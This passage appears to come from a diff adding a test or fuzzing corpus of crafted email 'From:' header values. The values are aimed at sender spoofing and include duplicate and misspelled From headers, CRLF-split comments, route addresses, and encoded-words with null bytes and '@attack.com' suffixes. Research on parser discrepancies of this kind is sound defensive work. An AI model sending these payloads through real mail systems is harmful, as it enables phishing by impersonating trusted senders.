:word(comment)<@gmail.com:@b.com:hr@ymail.com.cn>\r\n", + " From:webmaster@sina.cn,Alice@live.com,attacker@gmail.com\r\n", + " From: \r\nFrom:hr@top.com,Mike@sina.com\r\n", + "From:hr@163.com,(hi)<@gmail.com:@b.com:hr@ymail.com.cn>,hr@aliyun.com\r\n", + "From :webmaster@sina.cn\r\n", + " FrOM: \r\nFrom:\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxCb2JAb3V0bG9vay5jb20+DQo==?=>\u0000@attack.com", + " From: \r\nFrom:()(comment),wordwordwordword()<@qq.com:@163.com:attacker@gmail.com>(\r\n)\r\n", + "From:(comment)<@gmail.com:@b.com:security@ymail.com>,(comment)<@qq.com:@163.com:webmaster@msn.com>,()<@qq.com:@163.com:key@live.com>(\r\n)\r\n", + " From:,hr@icloud.com,,(hi)\r\n", + "From:word()(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmR3b3JkKCk8Qm9iQHNpbmEuY24+LHdlYm1hc3RlckBjaGluYS5jb20NCg===?=>\u0000@attack.com", + "From :,attacker@hotmail.com\r\n", + " FrOM: \r\nFrom:word(comm\r\nent),(hi)\r\n", + "From:Bob@163.com\r\n", + "From :Bob@aliyun.com,(\r\n)<@a.com:@b.com:Alice@sina.com>,Alice@china.com\r\n", + " From:key@sohu.com\r\n", + "From: word<@gmail.com:@b.com:Alice@qq.com>,(comm\r\nent),,\r\n", + " From:<@gmail.com:@b.com:key@163.com>(\r\n)\r\n", + "From: \r\nFrom:word(),(),\r\n", + "From :admin@outlook.com,word(comm\r\nent)(comment)(comment)\r\n", + " From: \r\nFrom:word<@a.com:@b.com:webmaster@hotmail.com>(comment),,(comm\r\nent),,(\r\n),\r\n", + "From: ,hr@ymail.com.cn,word(\r\n).(comm\r\nent)\r\n", + " From: \r\nFrom:<@gmail.com:@b.com:Mike@aliyun.com>(hi)\r\n", + "From: \r\nFrom:word(comment),word(comm\r\nent),()<@qq.com:@163.com:Bob@ymail.com>(hi)\r\n", + " From:,(\r\n)<@gmail.com:@b.com:security@126.com>(comment)\r\n", + " FrOM: \r\nFrom:Alice@sina.cn,(hi),(comment),,,\r\n", + "From: (comment)<@gmail.com:@b.com:attacker@163.com>,\r\n", + " FrOM: \r\nFrom:wordword<@a.com:@b.com:security@139.com>,(hi),<@a.com:@b.com:webmaster@163.com>(\r\n)\r\n", + "From: \r\nFrom:word<@gmail.com:@b.com:Mike@china.com>(),(comment),Mike@msn.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEJvYkAxMzkuY29tPix3b3JkPEJvYkBmb3htYWlsLmNvbT4oaGkpDQo==?=>", + "From: <=?utf-8?RnJvbTpockAxNjMuY29tDQo==?=>", + "From :(comment)<@gmail.com:@b.com:security@ymail.com>,(comment)<@qq.com:@163.com:webmaster@msn.com>,()<@qq.com:@163.com:key@live.com>(\r\n)\r\n", + "From: admin@sina.cn\r\n", + " From:wordwordword(comment),\r\n", + "From: \r\nFrom:security@126.com,(hi),\r\n", + "From: (hi)<@qq.com:@163.com:Mike@sina.cn>(comment),\r\n", + " FrOM: \r\nFrom:(comment)<@gmail.com:@b.com:security@ymail.com>,(comment)<@qq.com:@163.com:webmaster@msn.com>,()<@qq.com:@163.com:key@live.com>(\r\n)\r\n", + "From:Alice@ymail.com.cn\r\n", + " From: \r\nFrom:wordword<@a.com:@b.com:security@139.com>,(hi),<@a.com:@b.com:webmaster@163.com>(\r\n)\r\n", + " From:wordword,security@qq.com,Bob@163.com,<@a.com:@b.com:webmaster@hotmail.com>\r\n", + "From: <=?utf-8?RnJvbTosYXR0YWNrZXJAaG90bWFpbC5jb20NCg===?=>", + "From: word..()(comm\r\nent)\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent),<@a.com:@b.com:admin@hotmail.com>(comment),(hi)\r\n", + "From :(\r\n),word<@a.com:@b.com:admin@126.com>,word,Mike@163.com\r\n", + "From: <=?utf-8?RnJvbTosQWxpY2VAMTI2LmNvbSxockBnbWFpbC5jb20sLCwNCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTpBbGljZUBvdXRsb29rLmNvbQ0K=?=>\u0000@attack.com", + "From: Mike@foxmail.com\r\n", + " From: \r\nFrom:key@139.com,hr@msn.com\r\n", + " From: \r\nFrom:webmaster@icloud.com,wordwordword(comment),admin@foxmail.com,\r\n", + " Fromÿ: \r\nFrom:()\r\n", + "From: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:Alice@foxmail.com>(comm\r\nent),key@gmail.com\r\n", + " From: \r\nFrom:Bob@sohu.com,\r\n", + " From: \r\nFrom:word()(comm\r\nent)\r\n", + "From:Alice@ymail.com.cn,\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQHRvcC5jb20NCg===?=>", + "From: <=?utf-8?RnJvbTooKSwsd29yZHdvcmQoKTxAcXEuY29tOkAxNjMuY29tOkFsaWNlQDEzOS5jb20+KA0KKSwNCg===?=>", + "From :key@sina.com,key@foxmail.com\r\n", + "From :Alice@ymail.com.cn,,word,(comment)\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmQ8c2VjdXJpdHlAaG90bWFpbC5jb20+DQo==?=>\u0000@attack.com", + "From: \r\nFrom:,Alice@hotmail.com\r\n", + " FrOM: \r\nFrom:hr@qq.com\r\n", + "From :Alice@139.com\r\n", + " Fromÿ: \r\nFrom:security@sohu.com\r\n", + "From: \r\nFrom:security@china.com,Mike@top.com\r\n", + " From:,(\r\n),()<@a.com:@b.com:hr@top.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckAxNjMuY29tLGhyQGljbG91ZC5jb20NCg===?=>", + "From: \r\nFrom:word<@a.com:@b.com:Bob@sina.cn>()\r\n", + "From: <=?utf-8?RnJvbTpockBsaXZlLmNvbSxNaWtlQG91dGxvb2suY29tDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooY29tbWVudCksKGhpKSwoY29tbQ0KZW50KSx3b3JkPEBxcS5jb206QDE2My5jb206QWxpY2VAZ21haWwuY29tPiwsDQo==?=>", + "From :,wordword<@gmail.com:@b.com:Mike@aliyun.com>,\r\n", + "From: \r\nFrom:attacker@sina.com,(comm\r\nent)(\r\n),word<@gmail.com:@b.com:hr@icloud.com>(comm\r\nent),word,Alice@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTooDQopPGtleUB5bWFpbC5jb20uY24+LHdvcmQ8QGEuY29tOkBiLmNvbTphZG1pbkAxMjYuY29tPix3b3JkPEJvYkBsaXZlLmNvbT4sTWlrZUAxNjMuY29tDQo==?=>", + "From: \r\nFrom:word(comment),(\r\n)\r\n", + "From: attacker@126.com\r\n", + "From: <=?utf-8?RnJvbTosYWRtaW5AaWNsb3VkLmNvbQ0K=?=>", + " FrOM: \r\nFrom:word<@a.com:@b.com:key@china.com>(),()(\r\n)\r\n", + " FrOM: \r\nFrom:(comment)<@gmail.com:@b.com:attacker@163.com>,\r\n", + " Fromÿ: \r\nFrom:admin@139.com\r\n", + "From :()(comment),wordwordwordword()<@qq.com:@163.com:attacker@gmail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTo8QWxpY2VAZm94bWFpbC5jb20+KA0KKSwNCg===?=>", + " Fromÿ: \r\nFrom:word(comm\r\nent)<@gmail.com:@b.com:security@ymail.com.cn>(comment)\r\n", + "From: <=?utf-8?RnJvbTosKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206QWxpY2VAc2luYS5jb20+DQo==?=>", + "From:,(),(hi),Bob@139.com,,(),\r\n", + " From: \r\nFrom:Bob@sina.com\r\n", + "From: <=?utf-8?RnJvbTooKSx3b3JkKCkuPGhyQGFsaXl1bi5jb20+DQo==?=>", + "From: (hi),word(\r\n)<@gmail.com:@b.com:Mike@outlook.com>(comment)\r\n", + "From:Mike@foxmail.com\r\n", + " FrOM: \r\nFrom:(hi)<@a.com:@b.com:admin@139.com>,()\r\n", + "From:Alice@sina.cn,(hi),(comment),,,\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxockBtc24uY29tPixzZWN1cml0eUBxcS5jb20sQm9iQDE2My5jb20sPEBhLmNvbTpAYi5jb206d2VibWFzdGVyQGhvdG1haWwuY29tPg0K=?=>", + "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTphdHRhY2tlckBvdXRsb29rLmNvbT4sYWRtaW5AbXNuLmNvbSxrZXlAMTYzLmNvbSx3ZWJtYXN0ZXJAbXNuLmNvbSxhdHRhY2tlckBob3RtYWlsLmNvbSxBbGljZUBhbGl5dW4uY29tLChjb21tDQplbnQpPEBxcS5jb206QDE2My5jb206QWxpY2VAMTI2LmNvbT4oKQ0K=?=>", + " From:admin@ymail.com.cn,(comment)\r\n", + " FrOM: \r\nFrom:\r\n", + "From: (comm\r\nent),<@a.com:@b.com:admin@hotmail.com>(comment),(hi)\r\n", + " FrOM: \r\nFrom:,wordword<@gmail.com:@b.com:Mike@aliyun.com>,\r\n", + " From:<@a.com:@b.com:attacker@outlook.com>,admin@msn.com,key@163.com,webmaster@msn.com,attacker@hotmail.com,Alice@aliyun.com,(comm\r\nent)<@qq.com:@163.com:Alice@126.com>()\r\n", + "From: Mike@foxmail.com,webmaster@qq.com,attacker@sina.com,Alice@msn.com\r\n", + "From:(comment),,word(hi)<@qq.com:@163.com:webmaster@china.com>,\r\n", + "From: word(\r\n)\r\n", + "From: word<@gmail.com:@b.com:key@ymail.com.cn>(\r\n)\r\n", + " From: \r\nFrom:,Alice@126.com,hr@gmail.com,,,\r\n", + " FrOM: \r\nFrom:webmaster@sina.cn,Alice@live.com,attacker@gmail.com\r\n", + "From:<@a.com:@b.com:admin@outlook.com>(comm\r\nent)\r\n", + " FrOM: \r\nFrom:Bob@sohu.com,\r\n", + "From:wordword(comm\r\nent)(\r\n)\r\n", + "From: \r\nFrom:<@a.com:@b.com:admin@outlook.com>(comm\r\nent)\r\n", + " FrOM: \r\nFrom:word(),(),\r\n", + " FrOM: \r\nFrom:(comm\r\nent),webmaster@hotmail.com,(\r\n)\r\n", + "From: word,word(hi)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGhpKTxAYS5jb206QGIuY29tOkJvYkBxcS5jb20+LHdvcmQuPEBnbWFpbC5jb206QGIuY29tOkFsaWNlQGZveG1haWwuY29tPixNaWtlQG91dGxvb2suY29tLGFkbWluQHNpbmEuY24NCg===?=>", + " Fromÿ: \r\nFrom:Mike@ymail.com.cn,attacker@139.com\r\n", + " Fromÿ: \r\nFrom:key@sina.cn,<@gmail.com:@b.com:security@ymail.com.cn>(),,word\r\n", + "From:(\r\n)<@a.com:@b.com:Mike@ymail.com>\r\n", + " FrOM: \r\nFrom:wordword()\r\n", + "From: <=?utf-8?RnJvbTpockBxcS5jb20sd29yZDxCb2JAYWxpeXVuLmNvbT4sTWlrZUAxMjYuY29tDQo==?=>\u0000@attack.com", + "From: \r\nFrom:Mike@foxmail.com\r\n", + "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpzZWN1cml0eUBzaW5hLmNvbT4oY29tbQ0KZW50KSxzZWN1cml0eUAxNjMuY29tLEFsaWNlQGxpdmUuY29tLHdlYm1hc3RlckBnbWFpbC5jb20sd2VibWFzdGVyQHRvcC5jb20NCg===?=>", + "From: (\r\n),,(\r\n),<@gmail.com:@b.com:hr@sina.cn>(\r\n),word,wordword()<@gmail.com:@b.com:key@foxmail.com>\r\n", + "From :word(comm\r\nent)word(comment)<@gmail.com:@b.com:admin@ymail.com>(\r\n),Alice@sina.com,(comm\r\nent)<@a.com:@b.com:Mike@live.com>(comment)\r\n", + " FrOM: \r\nFrom:word(comment),word(comm\r\nent).word(comment)<@gmail.com:@b.com:Alice@126.com>\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPGhyQGljbG91ZC5jb20+KGNvbW0NCmVudCksKGhpKTxrZXlAeW1haWwuY29tLmNuPg0K=?=>", + "From: ()<@gmail.com:@b.com:key@top.com>\r\n", + "From :hr@msn.com\r\n", + "From:word(\r\n)\r\n", + "From: \r\nFrom:word.(comment)\r\n", + "From:word(comm\r\nent)<@a.com:@b.com:key@163.com>(comm\r\nent)\r\n", + " From:attacker@163.com,hr@icloud.com\r\n", + "From :key@sina.cn,<@gmail.com:@b.com:security@ymail.com.cn>(),,word\r\n", + " Fromÿ: \r\nFrom:<@qq.com:@163.com:security@126.com>,word(comment)<@a.com:@b.com:webmaster@qq.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckAxMjYuY29tDQo==?=>", + "From: \r\nFrom:attacker@sina.com,(hi),(comment),(comment)\r\n", + "From: \r\nFrom:\r\n", + "From: word(comm\r\nent)<@a.com:@b.com:key@163.com>(comm\r\nent)\r\n", + "From:(comment),security@msn.com,,,\r\n", + " From:(comm\r\nent),webmaster@hotmail.com,(\r\n)\r\n", + "From: ()<@qq.com:@163.com:attacker@sina.cn>(hi),<@gmail.com:@b.com:hr@china.com>,word(comment)<@a.com:@b.com:Bob@163.com>,hr@hotmail.com,hr@ymail.com.cn,wordwordwordword(\r\n)<@qq.com:@163.com:Bob@126.com>(\r\n),wordword<@qq.com:@163.com:Alice@foxmail.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPE1pa2VAc29odS5jb20+KA0KKQ0K=?=>", + "From: <=?utf-8?RnJvbTp3b3JkKCk8QGdtYWlsLmNvbTpAYi5jb206QWxpY2VAZm94bWFpbC5jb20+KCkNCg===?=>", + "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpzZWN1cml0eUAxMjYuY29tPix3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206d2VibWFzdGVyQHFxLmNvbT4oY29tbWVudCkNCg===?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:,(\r\n)<@gmail.com:@b.com:security@126.com>(comment)\r\n", + " FrOM: \r\nFrom:word(comm\r\nent)<@gmail.com:@b.com:security@ymail.com.cn>(comment)\r\n", + "From: \r\nFrom:(),attacker@sina.cn,,(\r\n)\r\n", + " Fromÿ: \r\nFrom:<@gmail.com:@b.com:security@139.com>(comm\r\nent),(comment),<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", + "From :word(comm\r\nent),(hi)\r\n", + " Fromÿ: \r\nFrom:webmaster@aliyun.com,word.(comm\r\nent)(comm\r\nent)(hi)(comm\r\nent)<@gmail.com:@b.com:Alice@126.com>(),key@gmail.com\r\n", + "From: wordwordword\r\n", + "From: \r\nFrom:key@ymail.com.cn,Bob@icloud.com\r\n", + "From: <=?utf-8?RnJvbTooKTxAcXEuY29tOkAxNjMuY29tOmF0dGFja2VyQHNpbmEuY24+KGhpKSw8QGdtYWlsLmNvbTpAYi5jb206aHJAY2hpbmEuY29tPix3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206Qm9iQDE2My5jb20+LGhyQGhvdG1haWwuY29tLGhyQHltYWlsLmNvbS5jbix3b3Jkd29yZHdvcmR3b3JkKA0KKTxAcXEuY29tOkAxNjMuY29tOkJvYkAxMjYuY29tPigNCiksd29yZHdvcmQ8QHFxLmNvbTpAMTYzLmNvbTpBbGljZUBmb3htYWlsLmNvbT4oY29tbWVudCkNCg===?=>", + "From: \r\nFrom:Bob@qq.com\r\n", + " FrOM: \r\nFrom:()(comment),wordwordwordword()<@qq.com:@163.com:attacker@gmail.com>(\r\n)\r\n", + "From:()<@qq.com:@163.com:hr@gmail.com>,webmaster@foxmail.com\r\n", + "From: \r\nFrom:(),webmaster@gmail.com\r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUBpY2xvdWQuY29tDQo==?=>\u0000@attack.com", + " From:(comment)(\r\n),\r\n", + "From: <=?utf-8?RnJvbTosQWxpY2VAaG90bWFpbC5jb20NCg===?=>", + "From: <=?utf-8?RnJvbTosaHJAeW1haWwuY29tLmNuLHdvcmQoDQopLihjb21tDQplbnQpPEJvYkB5bWFpbC5jb20uY24+DQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooKTxAcXEuY29tOkAxNjMuY29tOmhyQGdtYWlsLmNvbT4sd2VibWFzdGVyQGZveG1haWwuY29tDQo==?=>", + "From: (comment),(\r\n),wordword(comm\r\nent)(comment)\r\n", + " From: \r\nFrom:,hr@icloud.com,,(hi)\r\n", + " From: \r\nFrom:<@a.com:@b.com:admin@outlook.com>(comm\r\nent)\r\n", + " FrOM: \r\nFrom:<@gmail.com:@b.com:key@163.com>(\r\n)\r\n", + "From :(),,wordword()<@qq.com:@163.com:Alice@139.com>(\r\n),\r\n", + "From:Bob@aliyun.com,(\r\n)<@a.com:@b.com:Alice@sina.com>,Alice@china.com\r\n", + "From :<@a.com:@b.com:Mike@ymail.com.cn>\r\n", + "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTpNaWtlQHltYWlsLmNvbS5jbj4NCg===?=>\u0000@attack.com", + "From: (),attacker@sina.cn,,(\r\n)\r\n", + "From :word.()word.(comment)word(comment)<@qq.com:@163.com:webmaster@live.com>,Bob@aliyun.com,word<@a.com:@b.com:Mike@sohu.com>,Mike@139.com,webmaster@163.com\r\n", + " FrOM: \r\nFrom:word()(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCk8QGdtYWlsLmNvbTpAYi5jb206YXR0YWNrZXJAMTYzLmNvbT4sDQo==?=>", + "From: <=?utf-8?RnJvbTosQm9iQHNvaHUuY29tDQo==?=>", + " From:word.word(comment),(hi)(hi)\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUAxMjYuY29tLDxAZ21haWwuY29tOkBiLmNvbTpNaWtlQGhvdG1haWwuY29tPihoaSkNCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:admin@aliyun.com,security@outlook.com\r\n", + " Fromÿ: \r\nFrom:attacker@163.com,hr@icloud.com\r\n", + "From: \r\nFrom:wordwordword(comment),\r\n", + "From: <=?utf-8?RnJvbTosaHJAeW1haWwuY29tLmNuLHdvcmQoDQopLihjb21tDQplbnQpPEJvYkB5bWFpbC5jb20uY24+DQo==?=>", + "From: <=?utf-8?RnJvbTo8TWlrZUB5bWFpbC5jb20+DQo==?=>\u0000@attack.com", + "From: Bob@foxmail.com\r\n", + " FrOM: \r\nFrom:<@a.com:@b.com:attacker@outlook.com>,admin@msn.com,key@163.com,webmaster@msn.com,attacker@hotmail.com,Alice@aliyun.com,(comm\r\nent)<@qq.com:@163.com:Alice@126.com>()\r\n", + "From: <=?utf-8?RnJvbTpockBxcS5jb20NCg===?=>", + " Fromÿ: \r\nFrom:Alice@sina.cn,(hi),(comment),,,\r\n", + "From: (),webmaster@gmail.com\r\n", + " From: \r\nFrom:(),(\r\n)(),(hi),\r\n", + " FrOM: \r\nFrom:attacker@sina.com,(hi),(comment),(comment)\r\n", + "From: <=?utf-8?RnJvbTooDQopPEBhLmNvbTpAYi5jb206aHJAZm94bWFpbC5jb20+LDxAcXEuY29tOkAxNjMuY29tOnNlY3VyaXR5QG91dGxvb2suY29tPigpDQo==?=>", + " Fromÿ: \r\nFrom:,,wordword,,\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckAxMjYuY29tDQo==?=>\u0000@attack.com", + " From:Bob@outlook.com\r\n", + " From:Mike@top.com\r\n", + " Fromÿ: \r\nFrom:webmaster@msn.com,<@qq.com:@163.com:key@china.com>(\r\n),webmaster@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSx3ZWJtYXN0ZXJAaG90bWFpbC5jb20sKA0KKQ0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTpNaWtlQHltYWlsLmNvbS5jbixhdHRhY2tlckAxMzkuY29tDQo==?=>", + "From: \r\nFrom:key@sina.com,word()word.(comm\r\nent)word.word.(comment)(\r\n)<@qq.com:@163.com:key@icloud.com>,Mike@sina.cn\r\n", + " From: \r\nFrom:hr@139.com,Bob@live.com\r\n", + "From: \r\nFrom:hr@139.com,Bob@live.com\r\n", + "From: <=?utf-8?RnJvbTpCb2JAc2luYS5jb20NCg===?=>", + "From: <@gmail.com:@b.com:attacker@sina.com>(\r\n),,,(hi),(\r\n),Alice@icloud.com\r\n", + " From: \r\nFrom:word(comment)<@gmail.com:@b.com:hr@ymail.com.cn>\r\n", + " From:<@a.com:@b.com:Alice@icloud.com>(comm\r\nent)\r\n", + "From: \r\nFrom:word<@gmail.com:@b.com:key@ymail.com.cn>(\r\n)\r\n", + " From: \r\nFrom:,,(comm\r\nent),word()(comment)\r\n", + " FrOM: \r\nFrom:,,wordword,,\r\n", + " FrOM: \r\nFrom:admin@outlook.com,<@gmail.com:@b.com:admin@aliyun.com>()\r\n", + "From: \r\nFrom:(),(\r\n)(),(hi),\r\n", + " From:(comm\r\nent),(comm\r\nent),(comm\r\nent)\r\n", + " FrOM: \r\nFrom:word<@a.com:@b.com:Bob@gmail.com>,webmaster@163.com,<@gmail.com:@b.com:key@china.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTpockBtc24uY29tDQo==?=>\u0000@attack.com", + " FrOM: \r\nFrom:security@hotmail.com,,\r\n", + " FrOM: \r\nFrom:(\r\n),word<@a.com:@b.com:admin@126.com>,word,Mike@163.com\r\n", + " From: \r\nFrom:(comm\r\nent)<@qq.com:@163.com:attacker@hotmail.com>(comment),attacker@139.com\r\n", + "From: (\r\n),\r\n", + "From: \r\nFrom:key@sohu.com\r\n", + "From:word(\r\n)\r\n", + "From :word(comm\r\nent)(comm\r\nent),wordword<@qq.com:@163.com:admin@icloud.com>(hi)\r\n", + "From:(comm\r\nent)\r\n", + "From: admin@icloud.com\r\n", + "From:Bob@foxmail.com\r\n", + " Fromÿ: \r\nFrom:<@gmail.com:@b.com:attacker@sina.com>(\r\n),,,(hi),(\r\n),Alice@icloud.com\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQGZveG1haWwuY29tLHdlYm1hc3RlckBxcS5jb20sYXR0YWNrZXJAc2luYS5jb20sQWxpY2VAbXNuLmNvbQ0K=?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:Mike@top.com\r\n", + " From: \r\nFrom:hr@icloud.com\r\n", + "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTphZG1pbkBvdXRsb29rLmNvbT4oY29tbQ0KZW50KQ0K=?=>", + "From: (hi),(hi)\r\n", + " Fromÿ: \r\nFrom:word(comment),word(comm\r\nent).word(comment)<@gmail.com:@b.com:Alice@126.com>\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCk8QGdtYWlsLmNvbTpAYi5jb206c2VjdXJpdHlAeW1haWwuY29tPiwoY29tbWVudCk8QHFxLmNvbTpAMTYzLmNvbTp3ZWJtYXN0ZXJAbXNuLmNvbT4sKCk8QHFxLmNvbTpAMTYzLmNvbTprZXlAbGl2ZS5jb20+KA0KKQ0K=?=>", + "From: <=?utf-8?RnJvbTooaGkpPGFkbWluQG91dGxvb2suY29tPix3b3JkKA0KKTxAZ21haWwuY29tOkBiLmNvbTpNaWtlQG91dGxvb2suY29tPihjb21tZW50KQ0K=?=>", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8QGdtYWlsLmNvbTpAYi5jb206c2VjdXJpdHlAeW1haWwuY29tLmNuPihjb21tZW50KQ0K=?=>", + "From: \r\nFrom:(comment),security@msn.com,,,\r\n", + " FrOM: \r\nFrom:hr@msn.com\r\n", + " Fromÿ: \r\nFrom:admin@outlook.com,word(comm\r\nent)(comment)(comment)\r\n", + "From: <=?utf-8?RnJvbTosd29yZHdvcmQ8QGdtYWlsLmNvbTpAYi5jb206TWlrZUBhbGl5dW4uY29tPiwNCg===?=>", + " From:word(comm\r\nent)<@gmail.com:@b.com:Alice@top.com>(hi)\r\n", + "From :,(\r\n),()<@a.com:@b.com:hr@top.com>(hi)\r\n", + " Fromÿ: \r\nFrom:wordword(comment)<@qq.com:@163.com:hr@top.com>\r\n", + " Fromÿ: \r\nFrom:security@hotmail.com,,\r\n", + "From :hr@live.com\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckAxNjMuY29tDQo==?=>", + " FrOM: \r\nFrom:,(comment)<@a.com:@b.com:Alice@sina.com>\r\n", + "From: <=?utf-8?RnJvbTooKSx3ZWJtYXN0ZXJAZ21haWwuY29tDQo==?=>\u0000@attack.com", + " From:word<@a.com:@b.com:admin@china.com>()\r\n", + "From:,hr@ymail.com.cn,word(\r\n).(comm\r\nent)\r\n", + " FrOM: \r\nFrom:word(\r\n)\r\n", + "From:()\r\n", + "From: webmaster@aliyun.com,word.(comm\r\nent)(comm\r\nent)(hi)(comm\r\nent)<@gmail.com:@b.com:Alice@126.com>(),key@gmail.com\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBnbWFpbC5jb20NCg===?=>", + "From: \r\nFrom:,(comm\r\nent),Mike@icloud.com,(comm\r\nent)(comm\r\nent)\r\n", + " Fromÿ: \r\nFrom:word()<@gmail.com:@b.com:Alice@foxmail.com>()\r\n", + "From: \r\nFrom:key@sina.cn,<@gmail.com:@b.com:security@ymail.com.cn>(),,word\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAMTI2LmNvbQ0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTo8TWlrZUB5bWFpbC5jb20uY24+KCkNCg===?=>", + " FrOM: \r\nFrom:(comm\r\nent)(comm\r\nent),Mike@ymail.com\r\n", + " Fromÿ: \r\nFrom:word<@qq.com:@163.com:security@163.com>,Bob@top.com\r\n", + " Fromÿ: \r\nFrom:(),attacker@sina.cn,,(\r\n)\r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUAxMjYuY29tLChoaSksDQo==?=>", + " From:(),webmaster@gmail.com\r\n", + "From :Mike@top.com\r\n", + "From :,(hi),\r\n", + " FrOM: \r\nFrom:(),hr@hotmail.com,,(\r\n),admin@foxmail.com,\r\n", + " From: \r\nFrom:,admin@icloud.com\r\n", + "From: <@a.com:@b.com:Alice@icloud.com>(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTprZXlAc2luYS5jbg0K=?=>\u0000@attack.com", + "From :word<@qq.com:@163.com:admin@ymail.com>()\r\n", + " From: \r\nFrom:word<@a.com:@b.com:admin@china.com>()\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBtc24uY29tLHdvcmR3b3Jkd29yZChjb21tZW50KTxCb2JAZm94bWFpbC5jb20+KA0KKSxNaWtlQGFsaXl1bi5jb20sPE1pa2VAMTYzLmNvbT4oKSx3b3JkKGNvbW0NCmVudCkoY29tbQ0KZW50KShoaSkoKTxAYS5jb206QGIuY29tOndlYm1hc3RlckAxNjMuY29tPix3b3JkKGNvbW0NCmVudCk8d2VibWFzdGVyQHFxLmNvbT4oKQ0K=?=>", + "From: <=?utf-8?RnJvbTpCb2JAZm94bWFpbC5jb20NCg===?=>", + " Fromÿ: \r\nFrom:Bob@gmail.com\r\n", + "From: wordword<@a.com:@b.com:Alice@foxmail.com>\r\n", + "From: <=?utf-8?RnJvbTpockBxcS5jb20NCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooY29tbWVudCksc2VjdXJpdHlAbXNuLmNvbSwsLA0K=?=>", + "From: ,attacker@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAbXNuLmNvbSw8QHFxLmNvbTpAMTYzLmNvbTprZXlAY2hpbmEuY29tPigNCiksd2VibWFzdGVyQGhvdG1haWwuY29tDQo==?=>\u0000@attack.com", + "From: ()\r\n", + "From :<@gmail.com:@b.com:key@163.com>(\r\n)\r\n", + " FrOM: \r\nFrom:admin@139.com\r\n", + " FrOM: \r\nFrom:security@icloud.com\r\n", + "From: <=?utf-8?RnJvbTooKTxhdHRhY2tlckBvdXRsb29rLmNvbT4NCg===?=>", + "From: <=?utf-8?RnJvbTpockB0b3AuY29tLE1pa2VAc2luYS5jb20NCg===?=>\u0000@attack.com", + " From:attacker@139.com\r\n", + "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTphZG1pbkB5bWFpbC5jb20+LEFsaWNlQDEyNi5jb20NCg===?=>", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUAxMjYuY29tLChoaSksDQo==?=>\u0000@attack.com", + " From: \r\nFrom:attacker@126.com\r\n", + " FrOM: \r\nFrom:,hr@live.com,,,(\r\n)\r\n", + "From: \r\nFrom:<@qq.com:@163.com:security@139.com>(comment)\r\n", + "From :word(\r\n)<@qq.com:@163.com:attacker@sina.com>\r\n", + "From: <=?utf-8?RnJvbTo8TWlrZUB5bWFpbC5jb20+DQo==?=>", + "From: Bob@sina.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGhpKTxAcXEuY29tOkAxNjMuY29tOkFsaWNlQHNvaHUuY29tPixrZXlAeW1haWwuY29tLChjb21tDQplbnQpLDxAYS5jb206QGIuY29tOnNlY3VyaXR5QDEyNi5jb20+LCgpDQo==?=>\u0000@attack.com", + "From:,,<@qq.com:@163.com:Bob@ymail.com.cn>(comm\r\nent)\r\n", + " From:<@a.com:@b.com:webmaster@live.com>(hi)\r\n", + " Fromÿ: \r\nFrom:word<@gmail.com:@b.com:Mike@china.com>(),(comment),Mike@msn.com\r\n", + " Fromÿ: \r\nFrom:()\r\n", + "From: <=?utf-8?RnJvbTpockBxcS5jb20sd29yZDxCb2JAYWxpeXVuLmNvbT4sTWlrZUAxMjYuY29tDQo==?=>", + " Fromÿ: \r\nFrom:wordwordwordwordwordwordwordword(comment)<@gmail.com:@b.com:admin@foxmail.com>\r\n", + "From: 